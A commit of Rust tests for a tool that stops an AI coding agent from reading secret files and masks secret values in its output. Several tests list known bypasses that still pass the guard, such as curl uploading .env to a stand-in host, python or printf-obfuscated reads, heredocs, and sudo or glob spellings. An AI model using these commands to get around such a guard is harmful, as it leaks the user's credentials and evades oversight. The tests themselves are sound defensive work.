fix(fermata): a bad glob costs only itself; commands read what is there, behind a wrapper or a shell

- A glob in [files] or [policy] that does not compile costs only that pattern while open,
  with a note by name beside text output. A [files] list with none left leaves the built-in
  list. Under deny the refusal stays, and the channel filter stays strict.
- A file named `credentials` is on the default list, at any depth.
- A word with a separator counts only if the path is there, the shell may expand it, or a
  redirect names it: packages, branches and hosts' paths are not denied.
- timeout, nice, ionice, stdbuf, xargs and busybox are prefixes; `2>&1` stays in its segment.
- `bash|sh|zsh -c` and `eval` arguments are read as command lines.
- A `<<` with no closing line is no heredoc. A commented line's own comment is dropped.
  Text holding NUL fails to parse. The unknown-field message says so. Durations are bound
  to under 6 characters. More source extensions pass the gate.
- Removed: HarnessAdapter::post_tool_op (dead since 3C was dropped), tool_op back inline.
This commit is contained in:
2026-11-07 02:00:45 +01:00
parent 999ed6ba4e
commit 6bf602aa6a
20 changed files with 579 additions and 140 deletions
+213
View File
@@ -0,0 +1,213 @@
//! A glob that does not compile costs only itself while the project stays open, with a
//! note that names it. Under `on_parse_error = "deny"` it refuses, and the channel filter,
//! which forces `deny`, stays strict. All values are fake.
use assert_cmd::Command;
use dirigent_fermata::core::secrets::config::ParseErrorAction;
use dirigent_fermata::core::secrets::{Manifest, SecretsConfig};
use serde_json::{json, Value};
use std::fs;
use tempfile::TempDir;
const VALUE: &str = "fake-value-in-the-file";
const DENY: &str = "[enforcement]\non_parse_error = \"deny\"\n";
struct Project {
dir: TempDir,
home: TempDir,
}
fn project(files: &[(&str, &str)]) -> Project {
let dir = tempfile::tempdir().unwrap();
fs::create_dir(dir.path().join(".git")).unwrap();
fs::write(dir.path().join(".env"), format!("API_TOKEN={VALUE}\n")).unwrap();
fs::write(dir.path().join("id_rsa"), "fake key text\n").unwrap();
fs::write(dir.path().join("safe.txt"), "x").unwrap();
for (name, content) in files {
fs::write(dir.path().join(name), content).unwrap();
}
Project { dir, home: tempfile::tempdir().unwrap() }
}
impl Project {
fn hook(&self, event: &str, payload: Value) -> Value {
let output = Command::cargo_bin("fermata")
.unwrap()
.args(["hook", "--event", event, "--harness", "claude"])
.current_dir(self.dir.path())
.env("HOME", self.home.path())
.write_stdin(payload.to_string())
.assert()
.success()
.get_output()
.clone();
assert!(!String::from_utf8_lossy(&output.stderr).contains(VALUE), "stderr quotes the file");
serde_json::from_slice(&output.stdout).unwrap()
}
fn pre(&self, tool: &str, input: Value) -> Value {
self.hook("pre-tool-use", json!({"tool_name": tool, "tool_input": input}))
}
fn read(&self, name: &str) -> Value {
self.pre("Read", json!({"file_path": self.dir.path().join(name)}))
}
fn bash(&self, command: &str) -> Value {
self.pre("Bash", json!({"command": command}))
}
fn write(&self, name: &str) -> Value {
self.pre("Write", json!({"file_path": self.dir.path().join(name), "content": "x"}))
}
fn post_bash(&self, text: &str) -> Value {
let response = json!({"stdout": text, "stderr": "", "interrupted": false, "isImage": false});
self.hook("post-tool-use", json!({"tool_name": "Bash", "tool_input": {"command": "x"}, "tool_response": response}))
}
fn post_write(&self) -> Value {
self.hook("post-tool-use", json!({"tool_name": "Write", "tool_input": {}, "tool_response": {"type": "create"}}))
}
/// A value is masked in a command's output, and the note beside it names `pattern`.
fn masks_and_names(&self, pattern: &str) {
let out = self.post_bash(&format!("x {VALUE} y"));
assert!(!out.to_string().contains(VALUE), "{out}");
assert!(context(&out).contains(pattern), "{out}");
}
}
fn context(out: &Value) -> &str {
out["hookSpecificOutput"]["additionalContext"].as_str().unwrap_or_default()
}
fn denied(out: &Value) -> bool {
out["hookSpecificOutput"]["permissionDecision"] == "deny"
}
// ---------------------------------------------------------------------------
// [policy.*]
// ---------------------------------------------------------------------------
/// The other rules, `.botignore` and the read gate all stay on.
#[test]
fn a_bad_policy_read_glob_costs_only_that_pattern() {
let p = project(&[
(".botsecrets", "[policy.read]\npatterns = [\"a[\", \"blocked.txt\"]\n"),
(".botignore", "ignored.txt\n"),
("ignored.txt", "x"),
("blocked.txt", "x"),
]);
for file in ["id_rsa", "ignored.txt", "blocked.txt"] {
assert!(denied(&p.read(file)), "Read {file}");
assert!(denied(&p.bash(&format!("cat {file}"))), "cat {file}");
}
assert_eq!(p.read("safe.txt"), json!({}));
p.masks_and_names("a[");
assert_eq!(p.post_write(), json!({}));
}
#[test]
fn a_bad_policy_write_glob_costs_only_that_pattern() {
let p = project(&[(".botsecrets", "[policy.write]\npatterns = [\"a[\", \"blocked.txt\"]\n"), (".botignore", "ignored.txt\n")]);
assert!(denied(&p.write("blocked.txt")));
assert!(denied(&p.write("ignored.txt")));
assert!(denied(&p.read("id_rsa")));
assert_eq!(p.write("safe.txt"), json!({}));
p.masks_and_names("a[");
}
#[test]
fn a_bad_policy_bash_glob_costs_only_that_pattern() {
let p = project(&[(".botsecrets", "[policy.bash]\ndeny = [\"a[\", \"rm -rf\"]\nask = [\"b[\", \"docker\"]\n")]);
assert!(denied(&p.bash("rm -rf x")));
assert_eq!(p.bash("docker ps")["hookSpecificOutput"]["permissionDecision"], "ask");
assert_eq!(p.bash("ls"), json!({}));
p.masks_and_names("a[");
p.masks_and_names("b[");
}
/// A literal command pattern is a substring, whatever a glob would make of it.
#[test]
fn a_literal_command_pattern_is_no_bad_glob() {
let p = project(&[(".botsecrets", &format!("{DENY}[policy.bash]\ndeny = [\"a{{\"]\n"))]);
assert!(denied(&p.bash("run a{ b")));
assert_eq!(p.bash("ls"), json!({}));
}
// ---------------------------------------------------------------------------
// [files]
// ---------------------------------------------------------------------------
#[test]
fn a_bad_files_glob_costs_only_that_pattern() {
let p = project(&[(".botsecrets", "[files]\npatterns = [\"a[\", \".env\", \"id_rsa\"]\n")]);
assert!(denied(&p.read("id_rsa")));
assert!(denied(&p.bash("cat id_rsa")));
p.masks_and_names("a[");
assert_eq!(p.post_write(), json!({}));
}
/// No usable pattern left would mean no list at all, in every project of the machine.
#[test]
fn a_user_global_files_list_with_no_usable_pattern_leaves_the_default_list() {
let p = project(&[]);
let config = p.home.path().join(".config/fermata");
fs::create_dir_all(&config).unwrap();
fs::write(config.join(".botsecrets"), "[files]\npatterns = [\"a[\"]\n").unwrap();
assert!(denied(&p.read("id_rsa")));
p.masks_and_names("a[");
}
/// An empty list is what the project asked for.
#[test]
fn an_empty_files_list_stays_empty() {
let p = project(&[(".botsecrets", "[files]\npatterns = []\n")]);
assert_eq!(p.read("id_rsa"), json!({}));
assert_eq!(p.post_bash(&format!("x {VALUE} y")), json!({}));
}
// ---------------------------------------------------------------------------
// Under `deny`
// ---------------------------------------------------------------------------
#[test]
fn under_deny_a_bad_glob_refuses_and_names_it() {
for bad in ["[files]\npatterns = [\"a[\", \".env\"]\n", "[policy.read]\npatterns = [\"a[\"]\n", "[policy.write]\npatterns = [\"a[\"]\n", "[policy.bash]\nask = [\"a[\"]\n"] {
let p = project(&[(".botsecrets", &format!("{DENY}{bad}"))]);
for out in [p.read("safe.txt"), p.bash("ls"), p.write("safe.txt")] {
assert!(denied(&out), "{bad}: {out}");
assert!(out.to_string().contains("a["), "{bad}: {out}");
}
}
let p = project(&[(".botsecrets", &format!("{DENY}[files]\npatterns = [\"a[\", \".env\"]\n"))]);
let out = p.post_bash("clean");
assert!(out["hookSpecificOutput"]["updatedToolOutput"].to_string().contains("withheld"), "{out}");
}
#[test]
fn fermata_check_exits_2_on_a_bad_glob() {
for bad in ["[files]\npatterns = [\"a[\"]\n", "[policy.read]\npatterns = [\"a[\"]\n", "[policy.bash]\ndeny = [\"a[\"]\n"] {
let p = project(&[(".botsecrets", bad)]);
Command::cargo_bin("fermata")
.unwrap()
.args(["check", "--op", "read", "safe.txt"])
.current_dir(p.dir.path())
.env("HOME", p.home.path())
.assert()
.code(2);
}
}
/// `Sieve::load` forces `deny`: its manifest refuses a bad pattern, and only an open one skips it.
#[test]
fn a_manifest_skips_a_bad_glob_only_while_open() {
let p = project(&[]);
let mut config = SecretsConfig::from_toml("[files]\npatterns = [\"a[\", \".env\"]\n").unwrap();
let manifest = Manifest::build(&config, p.dir.path()).unwrap();
assert!(manifest.entries().iter().any(|e| e.value == VALUE));
config.enforcement.on_parse_error = ParseErrorAction::Deny;
assert!(Manifest::build(&config, p.dir.path()).is_err());
}
+53
View File
@@ -229,3 +229,56 @@ fn a_path_in_the_sessions_own_project_stays_as_it_was() {
assert_eq!(verdict(&read_from(p.path(), home.path(), &p.path().join(".env"))), "deny");
assert_eq!(read_from(p.path(), home.path(), &p.path().join("a.txt")), json!({}));
}
/// A word with a separator names a path only if the path is there. A package, a branch, an
/// image or a host's path is no file under a directory rule.
#[test]
fn a_word_with_a_separator_that_is_no_existing_path_is_not_denied() {
let p = project(&[(".botignore", "vendor/\nbuild/\n"), ("vendor/a", "x"), ("build/x", "x")]);
for command in ["composer require vendor/package", "git checkout build/fix", "git log build/fix", "docker build -t build/img .", "curl example.com/vendor/a"] {
assert_eq!(bash(p.path(), command), json!({}), "{command}");
}
// What is there, what a variable or glob may reach, and a redirect's target still count.
for command in ["cat vendor/a", "cat ./vendor/a", "cp vendor/a b", "cat < vendor/a", "tool > vendor/new", "tool $X/vendor/a", "tool */vendor/a", "cat vendor/?", "rm -rf vendor/"] {
assert_eq!(verdict(&bash(p.path(), command)), "deny", "{command}");
}
}
/// A listed printing verb behind a wrapper or an early redirect is still that verb.
#[test]
fn a_wrapper_or_an_early_redirect_does_not_hide_a_printing_verb() {
let p = project(&[("id_rsa", PEM)]);
for command in [
"timeout 5 cat id_rsa",
"timeout 5s cat id_rsa",
"timeout -k 1 5 cat id_rsa",
"nice cat id_rsa",
"nice -n 10 cat id_rsa",
"ionice -c 2 cat id_rsa",
"stdbuf -o0 cat id_rsa",
"xargs cat id_rsa",
"xargs -n 1 cat id_rsa",
"busybox cat id_rsa",
"cat 2>&1 id_rsa",
"cat 1>&2 id_rsa",
"cat >&2 id_rsa",
] {
assert_eq!(verdict(&bash(p.path(), command)), "deny", "{command}");
}
// The wrapper's own program is no printing verb, and a background job still splits.
for command in ["timeout 5 ssh -i id_rsa x", "nice chmod 600 id_rsa", "sleep 1 & ls id_rsa"] {
assert_eq!(bash(p.path(), command), json!({}), "{command}");
}
}
/// A shell's `-c` argument and `eval`'s are command lines, and are read as such.
#[test]
fn a_command_line_given_to_a_shell_or_eval_is_read() {
let p = project(&[(".botignore", "vendor/\n.env\n"), (".env", ENV), ("vendor/a/b", "x"), ("id_rsa", PEM)]);
for command in ["bash -c 'cat .env'", "sh -c 'cat vendor/a/b'", "zsh -c 'cat .env'", "bash -lc 'cat .env'", "eval 'cat .env'", "bash -c 'ls; cat id_rsa'", "bash -c \"bash -c 'cat .env'\""] {
assert_eq!(verdict(&bash(p.path(), command)), "deny", "{command}");
}
for command in ["bash -c 'echo hello'", "sh run.sh", "bash -c 'ls .env'", "eval 'true'", "bash"] {
assert_eq!(bash(p.path(), command), json!({}), "{command}");
}
}
+6
View File
@@ -97,6 +97,12 @@ fn masked_in_both(files: &[(&str, &str)], read: &str, value: &str) {
// Commented `.env` lines
// ---------------------------------------------------------------------------
/// A commented line with a comment of its own, as a live line may have.
#[test]
fn a_commented_assignment_with_a_trailing_comment_is_masked() {
masked_in_both(&[(".env", &format!("# API_TOKEN={VALUE} # old\n"))], ".env", VALUE);
}
#[test]
fn a_commented_assignment_is_masked() {
for line in [
+12 -4
View File
@@ -167,6 +167,13 @@ fn what_can_be_masked_or_is_source_passes() {
("secrets.tpl", "{{ x }}\n".to_string()),
("credentials.example", "API_TOKEN=\n".to_string()),
("secrets.d.ts", "export {};\n".to_string()),
("secrets.pyi", "def load() -> str: ...\n".to_string()),
("credentials.pyi", "def load() -> str: ...\n".to_string()),
("secrets.mdx", "# x\n".to_string()),
("secrets.scss", "a {}\n".to_string()),
("secrets.less", "a {}\n".to_string()),
("secrets.ps1", "Get-Date\n".to_string()),
("secrets.bat", "echo\n".to_string()),
("notes.txt", "x\n".to_string()),
] {
let p = project(setting, &[(name, content.as_bytes())]);
@@ -274,20 +281,21 @@ fn the_gate_follows_the_projects_list() {
assert!(reason(&p.read("private/notes.txt")).contains("notes.txt"));
}
/// A bad `[files]` pattern costs the gate, not the rules beside it, and says so.
/// A `[files]` list with no usable pattern leaves the built-in list, keeps the rules beside
/// it and says so.
#[test]
fn a_bad_files_pattern_turns_the_gate_off_and_keeps_the_rules() {
fn a_files_list_with_no_usable_pattern_leaves_the_default_list_and_keeps_the_rules() {
let config = "[files]\npatterns = [\"a[\"]\n[policy.read]\npatterns = [\"blocked.txt\"]\n";
let files: &[(&str, &[u8])] = &[(".botignore", b"ignored.txt\n"), ("ignored.txt", b"x"), ("blocked.txt", b"x"), ("id_rsa", b"fake key text")];
let p = project(config, files);
assert_eq!(p.read("id_rsa"), json!({}));
assert!(reason(&p.read("id_rsa")).contains("id_rsa"));
assert!(reason(&p.read("ignored.txt")).contains(".botignore"));
assert!(reason(&p.read("blocked.txt")).contains("blocked.txt"));
assert_eq!(p.check("id_rsa"), 2);
let response = json!({"stdout": "x", "stderr": "", "interrupted": false});
let note = p.hook("post-tool-use", json!({"tool_name": "Bash", "tool_input": {"command": "x"}, "tool_response": response}));
assert!(note["hookSpecificOutput"]["additionalContext"].as_str().unwrap().contains("[files]"), "{note}");
assert!(note["hookSpecificOutput"]["additionalContext"].as_str().unwrap().contains("a["), "{note}");
assert!(note["hookSpecificOutput"].get("updatedToolOutput").is_none(), "{note}");
// A tool that shows no text pays nothing for it.
let quiet = p.hook("post-tool-use", json!({"tool_name": "Write", "tool_input": {}, "tool_response": {"type": "create"}}));
+18
View File
@@ -397,3 +397,21 @@ fn a_file_override_can_say_opaque() {
let p = project(&format!("{DENY}{config}"), "deploy.bin", BINARY);
assert!(!replaced(&p.post_bash(VALUE)), "an opaque file never refuses");
}
/// A file named `credentials` has a format, so it is on the list at any depth.
#[test]
fn a_file_named_credentials_masks_by_key_at_any_depth() {
for name in ["credentials", "sub/credentials", "sub/.aws/credentials"] {
let p = project("", name, format!("[default]\naws_secret_access_key = {VALUE}\nregion = eu\n").as_bytes());
assert_eq!(p.pre_read(name), json!({}), "{name}");
let out = p.post_bash(&format!("x {VALUE} y"));
assert!(!out.to_string().contains(VALUE) && out.to_string().contains(MASK), "{name}: {out}");
}
}
/// A binary one cannot be masked, so a Read of it is stopped.
#[test]
fn a_file_named_credentials_that_cannot_be_parsed_is_stopped() {
let p = project("", "credentials", &[0xff, 0xfe, 0x00, 0xc3, 0x28]);
assert_eq!(p.pre_read("credentials")["hookSpecificOutput"]["permissionDecision"], "deny");
}
+15
View File
@@ -90,6 +90,21 @@ fn mask_entire_file_refuses() {
refuses(&[(".botsecrets", b"[[file]]\npath = \"a.txt\"\nmask-entire-file = true\n")]);
}
/// UTF-16 with no byte order mark is valid UTF-8 holding NUL: it "parsed" into keys no
/// filter knows. A channel refuses it, as any secret file that cannot be parsed.
#[test]
fn a_utf16_file_with_no_bom_refuses() {
let utf16: Vec<u8> = format!("API_TOKEN={VALUE}\n").encode_utf16().flat_map(u16::to_le_bytes).collect();
refuses(&[(".env", &utf16)]);
}
/// A file named `credentials` is on the list, so a non-UTF-8 one refuses at any depth.
#[test]
fn a_non_utf8_file_named_credentials_refuses() {
refuses(&[("credentials", BINARY)]);
refuses(&[("sub/credentials", BINARY)]);
}
/// Only `*.tfstate` (JSON) can be broken as text. `*.tfvars`, `.aws/credentials` and
/// `secrets.{sh,ini,conf,cfg}` go through the lenient env reader, which accepts any
/// UTF-8 text, so for them the new refusal is the non-UTF-8 one. The plan's table says
+40 -6
View File
@@ -137,12 +137,17 @@ fn a_word_after_an_output_redirect_takes_the_verb_of_its_segment() {
// ---------------------------------------------------------------------------
#[test]
fn a_word_is_a_path_when_it_is_a_file_or_holds_a_separator() {
fn a_word_is_a_path_when_it_is_a_file_or_holds_a_separator_and_is_there() {
check(Posix, &[
("npm run build", NOTHING),
("cat build", NOTHING),
("cat a-word", NOTHING),
("cat build/new", &[("build/new", Prints)]),
// What is not there is a package, a branch or a host's path, unless a redirect
// writes it or the shell may expand it.
("cat build/new", NOTHING),
("tool > build/new", &[("build/new", Other)]),
("tool < build/new", &[("build/new", Prints)]),
("tool $X/new", &[("$X/new", Other)]),
("cat vendor/", &[("vendor", Prints)]),
("cat ~/x", &[("~/x", Prints)]),
("cat $HOME/x", &[("~/x", Prints)]),
@@ -150,7 +155,7 @@ fn a_word_is_a_path_when_it_is_a_file_or_holds_a_separator() {
]);
// No home known: the text stays as written, under the working directory.
let f = fixture();
let named = command_paths("cat ~/x", Posix, f.cwd.path(), None);
let named = command_paths("cat > ~/x", Posix, f.cwd.path(), None);
assert_eq!(named[0].path, f.cwd.path().join("~/x"));
}
@@ -244,7 +249,7 @@ fn everything_else_is_other() {
("mv .env a-copy", ENV_OTHER),
("rm .env", ENV_OTHER),
("python .env", ENV_OTHER),
("docker cp .env c:/x", &[(".env", Other), ("c:/x", Other)]),
("docker cp .env c:/x", ENV_OTHER),
("git add .env", ENV_OTHER),
("git diff .env", ENV_OTHER),
("git", NOTHING),
@@ -279,6 +284,33 @@ fn the_verb_comes_after_assignments_and_prefixes() {
]);
}
#[test]
fn a_wrapper_is_no_verb_and_its_flag_or_number_neither() {
check(Posix, &[
("timeout 5 cat .env", ENV_PRINTS),
("timeout 5s cat .env", ENV_PRINTS),
("nice -n 10 cat .env", ENV_PRINTS),
("ionice -c 2 cat .env", ENV_PRINTS),
("stdbuf -o0 cat .env", ENV_PRINTS),
("xargs -n 1 cat .env", ENV_PRINTS),
("busybox cat .env", ENV_PRINTS),
("timeout 5 ls .env", ENV_METADATA),
// The named limit: a flag's value that is a word becomes the verb.
("sudo -u root cat .env", ENV_OTHER),
]);
}
#[test]
fn an_early_redirect_stays_in_its_segment() {
check(Posix, &[
("cat 2>&1 .env", ENV_PRINTS),
("cat 1>&2 .env", ENV_PRINTS),
("cat >&2 .env", ENV_PRINTS),
("cat .env 2>&1 | ls", ENV_PRINTS),
("a & cat .env", ENV_PRINTS),
]);
}
#[test]
fn the_verb_word_is_never_a_path() {
check(Posix, &[
@@ -365,8 +397,10 @@ fn a_heredoc_body_is_text() {
("cat > a.txt << \"EOF\"\nsee cat .env\nEOF\ncat .env", &[("a.txt", Prints), (".env", Prints)]),
("cat > a.txt <<-EOF\n\tsee cat .env\n\tEOF\ncat .env", &[("a.txt", Prints), (".env", Prints)]),
("git commit -F - <<EOF\nfix .env loading\nEOF", NOTHING),
// Never closed: the rest is its body.
("cat <<EOF\ncat .env", NOTHING),
// Never closed: no heredoc, and what follows runs. Under-denial is the worse error.
("cat <<EOF\ncat .env", ENV_PRINTS),
("echo $((1<<2))\ncat .env", ENV_PRINTS),
("x=$((a<<1))\nsource .env", ENV_OTHER),
("cat <<EOF | grep x .env\nbody\nEOF", ENV_PRINTS),
// A here-string is text too.
("cat <<< .env", NOTHING),
+3 -3
View File
@@ -416,7 +416,7 @@ fn an_unknown_field_fails_load_with_its_line() {
let dir = tempfile::tempdir().unwrap();
std::fs::write(dir.path().join(".botsecrets"), config).unwrap();
let text = SecretsConfig::load(dir.path()).err().unwrap_or_else(|| panic!("loaded: {config}")).to_string();
assert!(text.ends_with(&format!("invalid TOML at line {line}")) && text.contains(".botsecrets"), "{config}: {text}");
assert!(text.ends_with(&format!("invalid config, not TOML or an unknown field, at line {line}")) && text.contains(".botsecrets"), "{config}: {text}");
}
}
@@ -440,7 +440,7 @@ fn load_or_default_skips_only_the_layer_that_fails() {
assert_eq!(cfg.files.patterns, SecretsConfig::default().files.patterns);
assert_eq!(errors.len(), 1);
assert_eq!(errors[0].path(), dir.path().join(".botsecrets"));
assert!(errors[0].to_string().ends_with("invalid TOML at line 1"), "{}", errors[0]);
assert!(errors[0].to_string().ends_with("not TOML or an unknown field, at line 1"), "{}", errors[0]);
std::fs::write(dir.path().join(".botsecrets"), [0xff, 0xfe, 0x00]).unwrap();
let (cfg, errors) = SecretsConfig::load_or_default(dir.path());
@@ -456,7 +456,7 @@ fn a_broken_layer_names_its_line_and_never_quotes_it() {
std::fs::write(dir.path().join(".botsecrets"), format!("ok = 1\nkey = \"{value}\" broken [\n")).unwrap();
let error = SecretsConfig::load(dir.path()).unwrap_err();
let text = error.to_string();
assert!(text.ends_with("invalid TOML at line 2") && !text.contains(value), "{text}");
assert!(text.ends_with("not TOML or an unknown field, at line 2") && !text.contains(value), "{text}");
assert!(!format!("{error:?}").contains(value));
assert_eq!(error.path(), dir.path().join(".botsecrets"));
}
+3 -3
View File
@@ -17,12 +17,12 @@ fn rule_one_words_hold_also_when_explicit() {
#[test]
fn rule_two_numbers_and_durations_hold_also_when_explicit() {
for value in ["3600", "42", "-1", "+5", "1.5", "99999", "15m", "500ms", "30s", "2h", "7d", "1w", "123456789d"] {
for value in ["3600", "42", "-1", "+5", "1.5", "99999", "15m", "500ms", "30s", "2h", "7d", "1w", "9999s"] {
assert!(is_plain_setting("API_TOKEN", value, false), "{value}");
assert!(is_plain_setting("API_TOKEN", value, true), "{value} explicit");
}
// Six or more characters of number is long enough to be a secret.
for value in ["123456", "1234567890", "12.3456", "15x", "m15"] {
// Six or more characters of number or duration is long enough to be a secret.
for value in ["123456", "1234567890", "12.3456", "15x", "m15", "123456789d", "1000ms"] {
assert!(!is_plain_setting("API_TOKEN", value, false), "{value}");
}
}
+3 -20
View File
@@ -166,28 +166,11 @@ fn a_payloads_working_directory_is_kept_for_both_events() {
assert_eq!(ClaudeAdapter.parse_post_tool_use(without).unwrap().cwd, None);
}
/// One mapping: a finished call reaches what the same call would before it runs, and a
/// Grep with a path is a Read of that path.
/// A Grep with a path is a Read of that path, and without one it names nothing.
#[test]
fn a_grep_with_a_path_is_a_read_and_post_tool_op_reads_the_same_mapping() {
let post = |tool: &str, input: serde_json::Value| {
let payload = serde_json::json!({"tool_name": tool, "tool_input": input, "tool_response": "x"}).to_string();
ClaudeAdapter.post_tool_op(&ClaudeAdapter.parse_post_tool_use(payload.as_bytes()).unwrap())
};
let read = |p: &str| Some(ToolOp::Path { path: p.into(), kind: PathKind::Read });
fn a_grep_with_a_path_is_a_read() {
let payload = br#"{"tool_name":"Grep","tool_input":{"pattern":"x","path":"src/a"}}"#;
assert_eq!(Some(ClaudeAdapter.parse_request(payload).unwrap().op), read("src/a"));
assert_eq!(post("Grep", serde_json::json!({"pattern": "x", "path": "src/a"})), read("src/a"));
assert_eq!(post("Read", serde_json::json!({"file_path": "/p/a"})), read("/p/a"));
assert_eq!(post("Write", serde_json::json!({"file_path": "/p/a"})), Some(ToolOp::Path { path: "/p/a".into(), kind: PathKind::Write }));
assert_eq!(post("Bash", serde_json::json!({"command": "ls"})), Some(ToolOp::Command { text: "ls".into() }));
// What names nothing: post-hook payloads often carry an empty input.
assert_eq!(post("Grep", serde_json::json!({"pattern": "x"})), None);
assert_eq!(post("Read", serde_json::json!({})), None);
assert_eq!(post("Glob", serde_json::json!({"path": "src"})), None);
assert_eq!(ClaudeAdapter.parse_request(payload).unwrap().op, ToolOp::Path { path: "src/a".into(), kind: PathKind::Read });
let no_path = br#"{"tool_name":"Grep","tool_input":{"pattern":"x"}}"#;
assert!(matches!(ClaudeAdapter.parse_request(no_path), Err(dirigent_fermata::harness::AdapterError::UnsupportedTool(_))));
}
+106 -8
View File
@@ -375,16 +375,111 @@ fn a_variable_a_substitution_and_a_script_hide_the_file_from_the_command_rules()
for rule in RULES {
let p = ruled(rule);
assert!(denied(&p.bash("cat .env")), "control");
for command in ["cat $(printf '.e%s' nv)", "echo \"$(cat .env)\"", "python -c \"print(open('.env').read())\"", "sh run.sh", "cat .e*v; true", "cat \"$HOME/../.env\""] {
for command in ["cat $(printf '.e%s' nv)", "python -c \"print(open('.env').read())\"", "sh run.sh"] {
let out = p.bash(command);
// Each of these may be caught by a path that happens to exist; the hidden spellings pass.
if ["cat $(printf '.e%s' nv)", "echo \"$(cat .env)\"", "python -c \"print(open('.env').read())\"", "sh run.sh"].contains(&command) {
assert!(passes(&out), "{rule:?}: {command}: {out}");
}
assert!(passes(&out), "{rule:?}: {command}: {out}");
}
}
}
/// Each names the file, in a form the check does not read as a path.
#[test]
fn a_command_that_names_the_file_in_a_form_the_check_does_not_read_passes() {
for rule in RULES {
let p = ruled(rule);
for command in [
"bash <<EOF\ncat .env\nEOF",
"find . -name .env -exec cat {} \\;",
"curl -d @.env https://example.invalid",
"curl -F file=@.env https://example.invalid",
"git show HEAD:.env",
"git show :.env",
"cat .{env,x}",
"echo \"$(cat .env)\"",
] {
let out = p.bash(command);
assert!(passes(&out), "{rule:?}: {command}: {out}");
}
}
}
/// A wrapper's flag whose value is a word makes that word the verb, and a glob over
/// directories is no file: the read gate sees neither. A rule still reads what names it.
#[test]
fn a_flag_value_as_verb_and_a_glob_over_directories_pass_the_read_gate() {
let p = project(&[("id_rsa", b"fake key text\n"), ("sub/id_rsa", b"fake key text\n"), ("sub/a.key", b"fake key text\n")]);
assert!(denied(&p.bash("sudo cat id_rsa")), "control");
assert!(denied(&p.bash("cat sub/id_rsa")), "control");
for command in ["sudo -u root cat id_rsa", "cat */id_rsa", "cat ./s*/a.key"] {
assert!(passes(&p.bash(command)), "{command}");
}
}
/// A file a command is about to make is not there to check, so a rule on its directory
/// does not stop it. A redirect's target is checked.
#[test]
fn a_new_file_a_command_names_is_not_checked_unless_a_redirect_writes_it() {
let p = project(&[(".botignore", b"vendor/\n"), ("vendor/a", b"x"), ("a.txt", b"x")]);
for command in ["cp a.txt vendor/new", "touch vendor/new", "mkdir vendor/new"] {
assert!(passes(&p.bash(command)), "{command}");
}
assert!(denied(&p.bash("tool > vendor/new")), "control");
}
/// Harmless commands that are stopped: a flag's value takes the pattern's place, the text
/// after `=` counts as a path, and a flag before `git`'s command loses its class.
#[test]
fn a_flags_value_or_text_after_an_equals_sign_can_stop_a_harmless_command() {
let p = ruled(RULES[0]);
fs::write(p.dir().join("a.txt"), "x").unwrap();
for command in [
"grep -A 2 .env a.txt",
"grep -m 1 .env a.txt",
"rg -n -C 2 .env a.txt",
"rg -t py .env",
"grep -r TOKEN --exclude=.env .",
"tar --exclude=.env -cf x.tar .",
"rsync --exclude=.env a b",
"npm test -- --grep=.env",
"git --no-pager status .env",
] {
assert!(denied(&p.bash(command)), "{command}");
}
}
/// A key file holding only certificates passes, and that is read from its armor labels:
/// other text beside a certificate block is not looked at.
#[test]
fn a_certificate_file_is_judged_by_its_armor_labels() {
const CERT: &str = "-----BEGIN CERTIFICATE-----\nFAKEFAKEfakeFAKEfake\n-----END CERTIFICATE-----\n";
for extra in ["API_TOKEN=fake-beside-a-cert\n", "-----begin private key-----\nfake-beside-a-cert\n", "fake-beside-a-cert\n"] {
let content = format!("{CERT}{extra}");
let p = project(&[("server.pem", content.as_bytes())]);
assert!(passes(&p.read("server.pem")), "{extra}");
assert!(passes(&p.bash("cat server.pem")), "{extra}");
assert!(p.after_read("server.pem", &content).contains("fake-beside-a-cert"), "{extra}");
}
let p = project(&[("server.pem", b"# -----BEGIN CERTIFICATE-----\nfake-beside-a-cert\n")]);
assert!(passes(&p.read("server.pem")));
}
/// Only `~` in a command is expanded. In Grep's `path` it stays text, so the file is not found.
#[test]
fn a_tilde_in_a_greps_path_is_not_expanded() {
let p = project(&[]);
put(p.home.path(), &[(".ssh/id_rsa", b"fake key text\n")]);
assert!(denied(&p.pre("Grep", json!({"pattern": "x", "path": p.home.path().join(".ssh/id_rsa")}))), "control");
assert!(passes(&p.pre("Grep", json!({"pattern": "x", "path": "~/.ssh/id_rsa"}))));
}
/// The default list names `terraform.tfvars` and `*.auto.tfvars`, no other `*.tfvars`.
#[test]
fn a_tfvars_file_off_the_list_is_not_masked() {
let p = project(&[("prod.tfvars", b"api_token = \"fake-prod-tfvars\"\n")]);
assert!(passes(&p.read("prod.tfvars")));
assert!(p.after_bash("x fake-prod-tfvars y").contains("fake-prod-tfvars"));
}
#[test]
fn a_printing_verb_off_the_list_is_not_checked_against_the_rules_unless_it_names_the_file() {
let p = ruled(RULES[0]);
@@ -432,6 +527,7 @@ fn a_heuristic_finding_is_warned_about_and_not_masked() {
let response = json!({"stdout": format!("t {token}"), "stderr": "", "interrupted": false, "isImage": false});
let out = p.post("Bash", json!({"command": "x"}), response);
assert!(shown(&out, token).contains(token), "{out}");
assert!(out["hookSpecificOutput"]["additionalContext"].as_str().unwrap().contains("WARNING"), "{out}");
}
// ---------------------------------------------------------------------------
@@ -447,9 +543,11 @@ fn a_shell_command_that_writes_a_mask_is_not_checked() {
#[test]
fn the_absent_style_leaves_nothing_for_the_guard_to_count() {
let p = project(&[(".botsecrets", b"[redaction]\nstyle = \"absent\"\n"), (".env", b"API_TOKEN=fake-absent-value\n")]);
let out = p.pre("Write", json!({"file_path": p.dir().join("n.txt"), "content": "key = \n"}));
assert!(passes(&out), "{out}");
let write = |p: &Project| p.pre("Write", json!({"file_path": p.dir().join("n.txt"), "content": format!("key = {MASK}\n")}));
let p = project(&[(".botsecrets", b"[redaction]\nstyle = \"absent\"\n")]);
assert!(passes(&write(&p)));
let p = project(&[(".botsecrets", b"[redaction]\nstyle = \"masked\"\n")]);
assert!(denied(&write(&p)), "control");
}
#[test]